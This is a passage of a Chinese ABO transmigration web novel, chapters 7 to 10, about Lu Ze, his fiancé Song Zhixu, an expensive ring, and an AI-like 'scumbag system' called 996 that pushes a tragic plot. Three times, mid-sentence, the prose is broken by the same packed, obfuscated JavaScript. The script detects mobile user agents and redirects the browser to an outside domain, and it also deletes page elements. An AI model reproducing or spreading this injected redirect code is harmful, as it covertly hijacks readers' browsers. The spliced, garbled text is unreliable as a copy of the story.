他又不是什么救世主,他是人渣,昨天充其量有点可怜他,难不成还要来用爱来感化讨好型人格? 陆则彻底失去了跟他说话的欲望,靠在柜台上等柜姐包胸针,又随意瞟了他几眼,这才发现宋知许以一个很高的频率往店铺另一边看,只停留几秒就又看过去,脸上带着点渴望。 店铺对面是……戒指? 陆则把那个礼盒直接给了宋知许率先往出走,宋知许走的很慢,随意的找了些话题跟他说话,陆则也不着急,就看他什么时候开口说自己想看另一边想要戒指,宋知许走到店门口就不肯走了,但也不说,他不着急陆则当然更不着急。 “这胸针我好喜欢哦,过生日我会戴它的。”宋知许站在店门口笑了笑,“你对我真好。” 陆则嗯了声又等了会儿,宋知许也只是站在店门口既不走也不吭声,他居高临下的看他每一个表情,“走吧,送你回去。” 宋知许一怔,慢吞吞哦了声,整个人都弥漫着一股说不出的失望,但还是听他的话往出走。 陆则看着他这样更心烦了。 想吃糖的孩子就哭啊,你不哭也不说光渴望的看着,等谁主动给你? 陆则脸色阴晴不定的站在原地,等宋知许都走出一截又折返回来找他,刚才还被失落情绪浸泡着的人已经把自己给调理好了,又是一副笑样子,“怎么不走了?” “你不是想要戒指么?”陆则冷不丁开口。 “什么……”宋知许一愣下意识反驳,似乎为自己主动索要某种东西而感到羞耻,甚至涨红了脸,“我没有啊。” “都看了那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740435|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长时间我又不是看不见。” 这句类似指责的话登时让宋知许红了眼眶,瞬间眼泪汪汪的,却又在下一句话说出来后被憋了回去。 “又不是不给你买。”陆则说,“你不说谁知道。” 宋知许就这么迷迷糊糊的跟着陆则重新回到了卡地亚,在柜台前转了转,很依依不舍的把视线从那个大概五克拉的钻戒上挪开放回眼前,他指着柜台里的戒指问陆则,“这个怎么样?” 陆则实在没话说了,掰着宋知许的肩膀把他掰去刚才视线有所流连的地方让他看,“看这些。” 宋知许又看了眼那颗最大的十克拉的钻戒的商品图然后才去打量眼前的。 什么个意思?陆则满头黑线,眼前这个看起来仙气飘飘的喜欢大的贵的? 柜姐拿出戒指介绍,“LE VOYAGE RMENC?系列的PILEO戒指,5.12克拉的六边形钻石为中心,以抽象美学演绎海胆形态,我为您试戴?” 宋知许手指很细很白,其实是很好看的,但这个五克拉的戒指显然并不适合他日常去佩戴,他举起手对着光来回看了下,又摘下还给柜姐。 “不喜欢?”陆则问了宋知许没得到他的回应对柜姐开口,“换一个。” 柜姐又拿出另一个,“历史典藏系列复刻戒指,历史价值和艺术价值也极高。” 宋知许没让柜姐为他试戴,摆了摆手示意对方收起来,“太大了,我戴着有点奇怪。” 他往陆则面前一凑抱住他的手臂,小声开口,“走吧?我想回去了,你都给我买了八十万的胸针了。” “喜欢那个大的?”陆则问,想了想又补充,“十克拉那个。” 宋知许眨了下咽,开玩笑似的说,“喜欢就给我买啊,那么大买了也不方便戴。” 陆则言简意赅,“买。” “真买呀?”宋知许看起来有些真切的高兴,“肯定贵的要命,你爸爸不会打断你的腿吗。” 他大概觉得陆则在哄他,可还是被哄高兴了,笑的停不下来,又去问陆则真买呀?得到肯定的回答更高兴了,推了推陆则的胳膊催他走,说要回家了。 陆则干脆钳制着他的胳膊向柜姐要了那个十克拉的沙漠之星,他现在就要,在这儿非得等到戒指,卡地亚紧急调货,等沉甸甸又闪又亮的一颗大钻石被戴在宋知许手上,他也不要柜姐包起来了,直接去结账。 一千五百多万。 宋知许都傻眼了,把他拆开卖了都卖不到这么多钱,等走出店扶着那只戴着钻戒的手,“真买啊?一千五百多万,不是一千五百多块……” “戴着回去吧,是你的了。” “我都没有这么值钱。”宋知许扶着那只手直乐,看起来已经被钱砸晕了,来回不停的看,把手伸在有阳光的地方仔细端详了半天,再次感慨,“你真买啊?” 陆则眼里带了点笑,“不喜欢风雅的喜欢大的啊?” 宋知许哼哼唧唧往他腿上一倒,“这个最大最好,别人要羡慕死了——你对我真好!” 宋知许高兴的不得了,脸也红红的在他腿上不安分的扭来扭去摆弄钻戒,高兴的不得了没法表达也只能抱着他的胳膊哼哼唧唧的晃。 他算是看出来了,什么弹钢琴的艺术家,喜欢钱,喜欢大的好的。 是个可爱的俗人,祈爱贪财。 这是给他的''礼物''。 8. 第八章 【这是场由Alpha单方面掌控的爱情游戏,新到手又会哄人高兴的漂亮Omega实在让人爱不释手,陆则甚至很有闲情雅致的跟他谈起了恋爱。 只不过陆则这种人注定不会把长久的时间给一个Omega,对方的讨好与每一次消息都让他越来越厌烦。 Omega无权开始,当然也无权阻止这场游戏的结束。 陆则腻味了。 可怜的Omega不明白陆则突然怎么了,讨好无果甚至以为婚事也要告吹。 他不知道的是——他以为的能改变他当前处境的这场婚事会是一场葬送掉他后半生的坟墓。】 996声调抑扬顿挫,【宿主你最近做的很好,给他希望!然后就该刻薄他!等他绝望再告诉他要结婚再给他希望!然后再刻薄他!等他绝望让他怀孕一门心思扑孩子身上又有希望!然后再继续刻薄他给他施压!】 【宿主你最近做的简直是天纵奇才啊!】996握拳挥舞,极其浮夸的语调从它那张灯泡嘴里冒出来,【天不生你陆则,万古如长夜!人渣一片天,谁见你陆则不递烟!】 “你真是个神经病啊。”陆则说,“我这个人渣都看不下去准备人道主义的谴责你了。” 【关我什么事。】996很无辜,【你应该骂这本书的作者是个神经病,我只是复述了中心思想。】 “早晚有一天也给你关精神病院去。”陆则突然想起了什么点开购物软件随便选了一个去支付,果不其然显示卡已冻结,嘀咕,“又抠又爱面子。” 【呦呦呦。】996阴阳怪气,【你爸爸妈妈要打断你的腿了,一千五百万啊,不当家不知柴米油盐贵啊,你爹妈跟哥出去挣钱弯了一天的腰看见账单终于断了。】 …… 饭桌上今天人齐的可怕,陆则坐在那边吃边划拉手机,只回了宋知许一条夸钻石好看的消息,后来他的信息一直往出弹陆则干脆直接消息免打扰看不见也就不回,他专心致志玩手机好像没注意到其余三个人的视线。 陆母放下碗咳了声,“你一千五百万花哪了。” 陆则好像很纳闷的看了眼她,“收款方不是在那写着呢。” “买了什么东西,没见你戴。”陆母又问。 陆则不想跟她拐弯抹角,很不以为然的开口,“给宋知许买了个戒指。” “什么?真是给宋知许花了一千五百万?!”陆母声音都提高了。 “喊什么喊。”陆则一脸你真是莫名其妙,“又不是没花过千八百万的。” “那能一样吗。”陆母眼前一黑又一黑,“你买赛车去外边搞极限运动起码是花你自己身上了,你真是大手大脚惯了不把钱当回事是吧。” 陆延使了个眼色示意陆母不要再继续说了,很慢的开口,“不是不让你花,花在自家人身上怎么都行,刚订了个婚就敢收你一千多万的戒指,以后还要干什么呢?你以前一直搞那些极限运动也没谈过恋爱,别被哄的什么都不知道了。” “把你花穷了?”陆则问。 陆延一噎,“……这倒没有。” “那不就行了。”陆则不以为意的翻了个白眼,“出去带Omega逛街连个小戒指都买不起真跌份。” 陆延满头黑线,面对这个跟自己性格南辕北辙又十分跳脱的弟弟嘴里的一千五百多万的小戒指实在无言以对,他摸着额头脑袋很痛,“……你以后少跟宋知许出去逛街吧。” “不是你们让我去培养感情吗?”陆则反问。 一桌子人都对陆则没话说了。 行吧,买吧,别出去搞飙车、跳伞、山地……那些乱七八糟的就行。 起码活着…… 活着个屁,陆母要气吐了,哆嗦着手指指着陆则,“等你把宋知许娶回来不多给我生几个孙子孙女我是不会放过你俩的。”她说着眼泪汪汪瞪了眼陆父,“我都没戴过那么贵的,养这么大一支野花都没送过我。” 她抖着眼泪汪汪的上楼了。 陆则:“……” 陆延:“……” 陆父:“……” * 陆则摘下头盔拉开气囊服的拉链散热,额角的头发湿淋淋的贴在脸上,他热的很,刚才那圈又没跑好,往上走的时候脸色臭的要命,本来还是一脸笑的宋知许窥见他不好看的脸色也变得小心翼翼起来,从随身携带的包里拿了个小风扇举在他面前扇,“刚才状态不好吗。” 陆则表情很差的嗯了声,躲了下风扇扇风的方向,“别扇了。” 他似乎有点迁怒宋知许的意思,对他看起来也爱答不理的自顾自坐下又把拉链拉下了些,宋知许把胳膊撑在靠背上,拨了拨他的头发歪着小风扇继续给他扇风,顺着毛哄他,“扇一扇吧,嗯?” 这小风扇风力挺强,陆则惦记着剧情也舍不得这个小风扇,干脆扇会儿再刻薄他,身后Omega胳膊凉丝丝的,陆则往后靠了靠把背贴在他的胳膊上,似乎感觉到陆则想往后仰头,他就伸出手扶住了陆则的后脑勺把小风扇变了个方向。 陆则往后靠脑袋大部分重量都在靠椅上用不着宋知许多费劲,于是他就很放心的往后靠开始闭目养神。 那小风扇保持着一个很恰当的距离扇着风,宋知许有点高兴却又不是那么高兴的看着陆则沁着汗的额头,高挺的鼻子,浓密的眉毛和眼睫毛,试探着贴了贴。 陆则突然感觉自己额头上抵上了一块凉爽的皮肤,睁眼一看宋知许正用额头跟他玩贴贴,看见他睁眼后又重新贴了好几次,对方长了双颜色太浅的眼睛,不笑有些无神的过分的冷,对着你笑就柔软又好看,他看着宋知许思绪没有边际的发起了呆。 而宋知许似乎在这种长久的注视中会错了意,柔软的唇落在额头,高挺的鼻尖,又蜻蜓点水一样的挨蹭了下陆则的嘴唇。 陆则被亲的沉默了几秒,伸手攥住宋知许的手腕把他两条胳膊往自己脖子上一拉然后交叠,就这么抓着重新闭上了眼,宋知许似乎也喜欢这种接触,歪着脸贴在他的脑袋边上。 两人就这么很安静的待了一会儿,陆则身上的汗也下去了,搓了搓宋知许的脑袋示意他起来,“我换衣服去。” 他往更衣室边走边脱气囊服,随手拿了毛巾擦了擦脖子和上半身,“996。” “多少分现在?” 【63哦宿主。】 “大的关键剧情还有哪些?稍微小点的呢?”陆则坐在那里换裤子。 【比较大的是宋知许生日宴上的初标,新婚夜和宋知许嗝屁。】996说,【小的就多的数不胜数了,譬如什么你腻味后出去野,婚后的第一个生日啊乱七八糟的,但我觉得宿主根本不需要记也能完成呢~】 陆则:“?” “我可没那么人渣。” 996一脸我就宠你吧,【是是是,宿主没有呢~】 陆则翻白眼,“本来就没有,你们这个系统就是强人所难,那么漂亮、香又柔弱的Omega谁舍得虐啊。” 996很不服气,【我们可是做过详细背调分析了生平才去绑定的,宿主你在愿世界本来就是人渣我才绑。】 “给你们打工毫无任何隐私和人权可言啊?”陆则开玩笑的问,“我哪人渣了,我有原主那么不是玩意儿。” 【有过之而无不及。】996都懒得说他,【虽然系统的思想确实跟人有本质差别,但从某种程度上来说我们的信息集中处理功能和分析功能要比人类强得多。】 【经过这么些天的分析——】996冷呵一声,【你能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740436|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么好鸟。】 陆则:“?” 陆则指指点点,“血口喷人你真有一套。” 【原主的人渣好歹还是个物理人渣,宿主你是精神人渣。】996说,【你压根没把宋知许在内的这个世界所有人当人看,一会儿冷一会儿热的。】 陆则觉得996这话异常荒谬,“不是你让我对他好,好完再刻薄,这不就是冷热冷热么。” 996探头凝视陆则,【那宿主你是因为剧情要求的吗?】 “……”陆则没话说了。 【你看。】996开始攻击陆则,【你就像养了个电子宠物,想起来因为是自己养的就对他好得不得了,想不起来就扔一边。好是真心实意,不好也是真心实意,这可比原主可怕多了好吧,我估计你这么搞宋知许撑不到下线时间就噶了。】 陆则更没话说了。 【哦天呐。】996用夸张的咏叹腔阴阳陆则,【不知道有多少少男少女都被你用这一套祸害了,我愿封你为当代训狗大师。】 陆则不跟它说话了,“滚。” 【我也不是想阴阳你。】996说,【但是宿主还是不要太高高在上把他们当纸片人,你是知道会发生什么,但真的会沿着你知道的方向发展吗,而且他们真是三千世界中某个世界真实存在的生命,跟宿主你是一样的。】 陆则本来还不打算理这话,996似乎来劲了,等穿好衣服陆则面无表情看它,嗤笑,“你很平等了?如果你们平等应该普渡众生来做个人渣改造系统,而不是你这个人渣扮演系统来找人戏弄你们口中所谓的''真实存在的生命''。” 996古怪的沉默着,寂静的空气中甚至可以听到它身体中某种构造咔嚓咔嚓运转的声音,【你的大哥陆延和他未来的Beta才是这个故事的主角,你跟宋知许是未曾出场过的背景板,混不吝的弟弟因为家族联姻和信息素娶了一个各方面都极其优秀的Omega,但两人最后不得善终,Omega一尸两命,陆则搞极限运动死在国外。】 【这场悲剧给了陆延极大的启发,他更加坚持在这种AO为主流的世界不受信息素控制,坚持自由恋爱,于是就有了后续他跟他的Beta的故事,你的父母也从你们惨痛的故事中得到教训,大力支持陆延和他的Beta不要孩子,不受信息素控制。】 【身为最亲近的家人的支持是他们最大的护盾,你哥陆延跟Beta嫂子一生都在为平权斗争,当然也取得了极大的成功。】 996加重语气,【宿主当然可以不按照背景玩极限运动去世,但家族联姻,标记后不给Omega信息素都是背景必须的东西,这是他们故事的基础,宿主必须达成。】 “你们真行。” 陆则居然还有心情笑出来,“你们玩这种游戏真是有意思。” 一切一切的苦难被归咎于必须的背景基础,逝去的生命甚至不配被提起一句话。 这就是一场游戏。 因为肌肉紧绷他的手发起抖,头部两侧像是被紧箍一样的痛,他也意识到现在的自己很像一个不稳定因素,本来走向门口的脚变了个方向往更衣室里边走,此刻却突然响起了敲门声。 等了好久都不见人出来的宋知许敲了敲门没有得到回应,“我进来了?” 他走进来,陆则已经换好衣服扭头看他,眼睛或许是充血,离这么远看着都很红,他一怔,快走几步抱上去顺毛一般抚摸陆则的脊背,声音放的很温柔: “你怎么了呀?”宋知许学他刚才的手法揉陆则的脑袋。 “谁欺负你了,看起来好可怜哦。” 他像是哄小孩,说到可怜时像是很感同身受一样瘪嘴放轻声音,那个哦字又慢慢上扬。 “谁欺负你了呀?” 9. 第九章 陆则不吭声,埋在他肩窝里让他顺毛。 他觉得宋知许很像女孩子,也像一些性格柔软的、甚至被别人说有些娘气的正常世界观下的喜欢跟女孩子一起玩的小0,柔软又有种特有的细腻。 他没回宋知许的话,用力的抱了会儿感觉自己的手不抖了才放开,半真半假的开口,“没人欺负我,就是我发现一个‘人’从第一次见到我都在装模做样的骗我,装傻,说话半真半假骗了我好长时间,要不是我发现了就一直被利用下去了。” 陆则没那么傻白甜跟一个莫名其妙找上门来的系统推心置腹,要说最开始没看出什么,但从赛车那会儿也不难看出这个996是个黑心肝的坏鸟,看起来插科打诨是个活跃气氛的沙雕,但从某种程度上来说,最不好相处的就是这种。 宋知许浑身一僵,小心翼翼抬头观察他的表情,抱紧他的胳膊试探着开口,“谁呀?敢这么对你,我去打死他!” 陆则只是说没谁,任由他抱着,“走吧?” 宋知许一颗心七上八下,很不安的跟着他走,继续试探,“我生日你会来的吧?” “当然。”陆则一脸你为什么会这么问的表情。 他心里有鬼,总觉得陆则这话是在点他装模做样,可就算是装模做样,他也是真有点喜欢陆则的,他对他那么好,给他花了那么多钱,还跟他一起骂他妈,虽然刻薄了些,有时候嘴毒了些,可他那么帅,那么有钱,最主要还是愿意给他花。 他那么有钱! 陆则扯着宋知许手腕往出走,一眼都不看996,996很锲而不舍的在他耳边念,【宿主你千万不要一时冲动不完成任务啊,完成度不足六十我真会把你送回你那个世界的,千万不要跟自己过不去啊!】 陆则在心里冷笑。 任务?他当然会完成任务。 但他绝不会听从他们的摆布去制造一场悲剧去完成所谓的故事背景。 他会去试着给他俩牵针引线,如果陆延和那个Beta只是死板的背景作用下的结合而不是因为爱情,陆延在没有他俩悲剧的背景下对Beta没有任何兴趣的话,那这场任务就更加没有存在的必要。 反正他到了及格线,再崩坏也是别人或者说陆延这个男主的问题,能怪到他头上来么? 这烂摊子让他们这个什么星际总局来收拾吧。 …… 这条路陆则开过好几次现在已经很熟悉,走到一半又赶上了中午的高峰,在路上堵了二十分钟左右,他正犹豫着已经这个点要不干脆吃顿饭再送他回去时宋知许就开口了,“我朋友约我吃饭诶。” “在哪?”陆则降低车速,“我直接送你回去。” 宋知许点了点导航设置好地点,“这里。” 他等陆则拐上正路询问,“你要一起吃饭么,我把你介绍给我朋友怎么样?” 反正也要吃饭,陆则就干脆答应了下来,“几个人啊,叫什么谁家的?” “两个。”宋知许一板一眼回答,“一个叫文苑,家里搞字画的,一个叫徐盛,家里搞外贸的,都不高不低跟我们家差不多,你应该不认识。” 陆则确实不认识,原主记忆里也没这几号人。 大家的社交圈子都是由自身家庭决定的,宋知许的家庭也是偏艺术,硬要说勉强算个不合格的艺术世家,这类家庭要么出几个名人,不然基本都高不成低不就名声财富权力都不行。 “关系很好么。”陆则随口问,宋知许嘴里的关系好不好决定了他一见面用什么态度去对待那两个所谓的朋友。 “还可以吧。”宋知许抿着唇,“反正一直有来往,但我大学在国外读,就不怎么见面了。” 陆则心里有数了。 * 约饭的地方看起来是个很热闹装修很不错的地方,很多地方大概是为了迎合Omega出片的需求设计的很有巧思,陆则绕了一圈好容易找到一个就近的停车地方,带着从一侧的一个小门进去,门口就有侍者等着,简单询问后带着两人往文苑和徐盛订的桌子去了。 等走的差不多了陆则道了声谢示意不需要再带路了,视线里两个圆圆的脑袋凑在一起小声说话。 栗色头发的男孩很不高兴的开口,“他怎么还不来啊。” 另一个戴眼镜的很不以为然,话里恶意难以掩饰,“摆谱呗,人家攀上陆家了,我那会儿就说他以后肯定嫁的好,那么一张脸。” “你不知道,他可爱装纯了。” “我知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740437|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,每次一装我就想吐,我想这是装给谁看呢。” 栗色头发的Omega翻了个白眼,“嫁就嫁呗,他们那种Alpha哪个不在外边养十个八个,留不住老公就老实了,还高嫁……” 两人脑袋挤在一起嘀嘀咕咕,宋知许脸色不太好看,陆则似笑非笑看了他一眼,“朋友?” 栗色头发的人大概是弯腰嘀咕太久腰痛,站起来展了展腰,扭头一看登时变了脸色,但很快的又扯起笑,“知许?你什么时候来的啊?我给你发消息你没回我还以为你堵车了呢。”他说着又看向了陆则,“这是你的Alpha吧?” 宋知许大大方方应了声,跟陆则介绍这个栗色头发,“这个是徐盛,那个是文苑。”他随即又笑吟吟的抱住了Alpha的胳膊,“这是我的Alpha,陆则。” 那个叫徐盛的Omega看起来一副长袖善舞的模样,在桌上叽叽喳喳极为热情,他笑着打趣,“我之前听说陆二少花一千五百多万给你买了钻戒,好福气哦~” 宋知许满脸笑意,一副被甜蜜的爱情滋润的样子,他很不好意思的看了眼陆则,“我都说不要了。” 徐盛表情静了几秒,克制不住的扭曲了下,很勉强的哈哈几声绕开了这个话题,过了片刻又满脸笑的朝陆则说话,“我们跟知许一直是特别好的朋友,知许一直以来都没谈过恋爱,他家教可严了。”他话锋一转,“之前我谈恋爱遇到渣男他气的不行,说以后找Alpha一定得好好管着。” 宋知许:“……” 他的脸色骤然难看下来。 没有一个Alpha愿意被管着,退一千步一万步来讲,就算陆则觉得他不错,有些喜欢他,但这种喜欢也绝对不允许一个Omega来管着他,可以喜欢一片叶子,喜欢一个玩偶,所以喜欢也只是喜欢。 他咬住了牙,他带陆则过来诚然有给自己撑场面的私心,可不是为了让他俩在陆则面前给自己上眼药的。 他想说点什么来缓和,鼻子酸酸的又莫名委屈的不肯开口,要是陆则有那么一点点喜欢他,有那么一点,那就别让他在这群嫉妒他的Omega面前丢面子。 “不应该吗?” 陆则轻轻笑了下,“你们嫉妒啊。” 10. 第十章 “啊?啊。”徐盛闻言脸色登时涨的通红,神情极不自然的连啊两声,又悻悻笑了下,“没有啊!” 陆则没必要给这点无名小卒脸面,也懒得跟他们浪费口舌,擦了擦嘴问宋知许,“吃好了么。” 宋知许双手撑着下巴拿鼻孔看人,“吃好了!” “吃好了就走吧。”陆则没再看他这俩朋友一眼,这个徐盛赶紧站起来,“不是知许,你这么快就要走了?咱们这么长时间没见面,你不多留会儿咱们叙叙旧?” “不了吧,阿则一会儿有事诶。” 徐盛很勉强的笑了下,有些狐疑的再次询问,“你来的时候也不发个消息,我跟文苑出去接你啊。” 宋知许笑眯眯的反问,“怎么,怕我听到你们说我坏话啊?” 徐盛、文苑:“!” 这两人都是脸色一变,听了这话很紧张的看几眼宋知许又去看几眼陆则,宋知许扑哧一笑,“我开玩笑的啊,这么紧张难道真说我坏话了?” “怎么可能!”徐盛否认,“你怎么这么想啊,咱们什么关系啊。” “那就好,我还以为你真嫉妒我找到这么好一个Alpha呢。”宋知许笑嘻嘻的。 徐盛脸色发青,扯起嘴角勉强笑了下。 …… 宋知许没等上车就像只考拉一样黏黏乎乎挂在陆则胳膊上哼哼唧唧,“你怎么这么好呀~你怎么这么好呀~” “因为我刻薄。”陆则把挂在自己胳膊上扭来扭去走起来像喝醉不走直线的Omega塞进副驾,宋知许不系安全带继续黏糊糊往陆则身上躺,连声询问,“他们就是嫉妒我吧?是吧是吧是吧?” 陆则把他按回去系好安全带,认同了他的观点,“对,他们不要脸。” “又不要脸又嫉妒我,还说我坏话,小……人。”小贱人三个字被宋知许堪堪咽回肚子里,再高兴他也没忘在陆则面前保持形象,接下来说的话就刻意斟酌了起来。 宋知许把脑袋凑过去嘀嘀咕咕说徐盛、文苑、他妈的坏话,陆则也嘀嘀咕咕的附和他,不知道嘀咕了多长时间宋知许终于说累了,他坐直喝了口水一脸心满意足如释重负,陆则继续夸他: “他们嫉妒你漂亮,嫉妒你性格好,嫉妒你受人喜欢。” “我不受人喜欢。”宋知许小声反驳,语调很自然,似乎他就是这么认为的,但他还是很高兴的在副驾扭来扭去,高兴里又带着被直白夸赞后的羞涩,“你对我真好,你居然跟我一起骂人诶,不像他们都只会骂我。” 陆则惊讶的看了他一眼,“谁骂你,你妈?你没能一起骂人的朋友么。” 这个世界的Omega跟正常世界里的女性差不多,陆则觉得应该会有那么一两个互相疯狂吐槽聊天记录绝不能给外人看的朋友,没有吗? 宋知许蜷在座椅上很轻很轻的叹了口气,从鼻子里挤出个嗯,“我妈我爸都骂,我爸说凡事先思考思考自己,我骂人他们就说我。” “我没有朋友的。”宋知许皱着鼻子做出很可怜的表情来极力掩饰他眼里那点并没有藏的多好的失落,“我妈最开始不让我跟别的小孩玩,后来人家都长大各自有各自的朋友了,我也跟他们玩不到一起了。” 陆则不知道该说什么了,朋友这种存在本来就不是刻意去维持就能来往多么密切的,没有办法。 “你以后都这样行不行?”宋知许问。 陆则:“什么?” “我骂谁你骂谁。” 陆则被他逗笑了,“行,来呗,想骂谁给我发消息,刚好我也很刻薄。” 宋知许又高兴了,像是斗胜的公鸡高高扬起尾巴和脑袋,继续用鼻孔看路,又时不时用期待的目光看一看陆则,终于等到送到门口陆则刚停车,他动作飞快的解开安全带,动作很麻利的从中间跨过去坐在陆则腿上,抱着他的脖子对准陆则的脸和嘴巴叭叭叭的亲了好几口,“你给我买那么贵的钻戒,还跟我骂人,你真是个好人。” 他边说边亲,陆则恍惚间都觉得宋知许柔软的嘴唇成了某种坚硬的武器在他脸上撞来撞去,戳着戳着抱住他脖子不撒手,“你真好。” “喜欢你。” 陆则搂着他的腰让他继续撒娇,他抱着抱着又委屈了,小声在陆则耳边念叨,“又不是不让你骂我,但你也不能每次都骂我呀,而且我就他们两个亲人,他们怎么能那么说我。” 就是个刺猬,你拿手摸他,他给你亮肚皮,拿针戳他,他也竖起针戳你,戳来戳去双方都疼。 陆则摸宋知许柔软的头发,宋知许情绪调整的很快,从陆则脖子里抬起头很高兴的问陆则,“你生日什么时候呀?我用我的零花钱给你买礼物。”他小声撒娇并强调,“我所有的零花钱——都给你。” 陆则自从穿过来还没看过原主身份证,当然不知道原主生日是否跟他一样,他犹豫了几秒,对着满眼求表扬的宋知许说了自己的生日,“520。” 宋知许啊了声,这个数字在现代无疑被情侣们赋予某种意义,很像不走心敷衍的话,但生日又有什么好敷衍的呢,“真的?”他自己回答自己,“现在都七月了,那我补给你生日礼物好不好。” 陆则想了想近在咫尺的初标剧情半开玩笑,“那把你送给我行不行?” 他很明显的一怔,破天荒脸更红了点,“我就是你的Omega啊。” 陆则托着他的腰往上扶了扶,很轻的刮了下他的脸颊,顺势往下走,摸着皮肤细腻的脖子,算是给他个心理准备,“我说这个。” “……”宋知许脸色瞬间有些变了,他张了张嘴似乎想说什么,对着眼前的Alpha又闭上了嘴。 这个时代并不公平,Alpha可以标记无数个Omega,而Omega却只能被一个Alpha标记,更何况不是所有人都能洗去标记,这对Omega是很不公平的。 每一个Omega从小受到的教育就是保护好自己的腺体且慎重让Alpha标记,对方如果标记自己后选择抛弃,那么这对Omega无疑是一场灭顶之灾。 无论是清洗标记带来的伤害,或是不能清洗后带来的终身的负累,亦或者是对Omega不算宽容的社会环境都会把他们压的喘不过来气。 宋知许心里很忐忑,轻声试探着询问,“你要终身标记我么?” “当然不是,只是初标。” 原主在婚前没有终身标记过宋知许,大概也是怕万一婚事出波折终标后迫于名声、怕丢脸还得咬着牙把人给娶回家。 他也不会终标宋知许,无论是出于剧情还是他自己。 这不对,相当不负责。 听到是经过代谢后就会消失的初标宋知许稍微放下心,他再次趴在了陆则胸口,“我没有被咬过。” 陆则:“我也没有咬过别人。” 宋知许沉默了会儿重重嗯了声表示自己听到了,很不舍的放开了怀里那个能给自己一些温暖的身体,“我得回去啦。” 陆则也答应了声表示自己知道,于是宋知许又从来的路上返回从副驾下去,一步三回头的往不远处那栋高大的独栋别墅走,他在陆则眼里慢慢变小,跟这栋冷冰冰不近人情的房子相比显得更加渺小起来,陆则的视力很好,他看见宋知许摸上房门又扭过头来看他,微微撅起嘴做了个很委屈的表情才回去。 陆则:“……” 他慢慢打量这栋别墅,简约欧式风格的装修看起来是大片的白色和金色,显得很寂寥,最上方却又跟这栋别墅很不相符的添置了花房,里边各种花朵姹紫嫣红又生机勃勃的伫立在这座不近人情的建筑上,南辕北辙隐隐走了两个极端。 是的,极端。 生机勃勃的花被迫困于这座牢笼,既受这里供养又被束缚,需要人为精细伺候的花挣脱注定要伤筋动骨,没有下一个人来细心呵护总会枯萎。 * 陆则回去的时候陆延居然在客厅坐着,他稀奇的看了眼也没理这个原主的哥哥就往楼上走。 他们一家子其实没怎么见过面,他跟陆延的作息时间更是天差地别,对方是个典型的拼命三郎工作狂,陆则还在睡觉的时候他按时按点勤勤恳恳去上班,陆则出去玩或者在家睡觉的时候陆延在加班或者回家在书房加班。 怪不得是男主,陆则感慨了句他就不是男主的命,真命苦。 提起男主二字,陆则突然想起了那个人渣系统996,于是施施然走到陆延身后撑着沙发,“你什么时候娶老婆。” 陆延一僵,扭头带着点不可置信的看倒反天罡来催婚的弟弟,“你催我的婚?” “不然呢。”陆则说,“我马上就结婚了,今天老婆还亲了我好几口,你呢,你比我大六岁吧。” 陆延:“?” “去!”他像赶苍蝇似的挥了几下手臂,扭回头懒得搭理陆则,陆则不依不饶的坐在他旁边,“不是哥你真不娶老婆啊,等你年纪再大点精/子质量不好到时候孩子都生不出来。” 陆延很无语的看他一眼,“小小年纪就一把年纪的,非得生孩子么,等你把宋知许娶进来也催他生啊,他进门肯定被咱妈催,够可怜的了。” 这陆延还行,陆则在心里想,脸上又是一副恍然大悟的样子,“哥你的意思是Beta也可以了?” “你打听这个做什么。”陆延再次挥舞手臂驱赶陆则,“比小时候还心烦。” “是不是啊?Beta?”陆则问。 陆延瞟了他一眼不吭声。 陆则看他这反应,“哥你有喜欢的Beta啊?” 陆延还是没吭声,但那张在工作中习惯保持严肃表情的脸还是变了变,显然是默认了。 陆则一边感慨原来两人还真是真爱,一边又为所谓的那个必死的结局感到荒谬,所以陆延娶Beta不就是因为他自己喜欢,跟他俩有半毛钱关系? 他实在没话说,有种立马把这个星际总局人渣部门所有人和系统都流放到学校做语文卷子去,真能加戏啊。 陆延皱着眉不知在思考什么,好半响眼中带着不认同跟他开口,“你结了婚就别跑出去玩那些极限运动了行不行?想出去玩就仔细想想你有爸有妈有个哥还有个老婆。” “真死外边你老婆肯定也不会给你守寡的,我们立马再给他嫁出去。” 陆则:“???” “你知不知道你第一次在外边滑翔出事的时候家里人差点吓死,妈哭完都开始烧香拜佛了。”陆延脸色很不快,“你现在把你那个衣服脱下来看看身上有多少疤。” 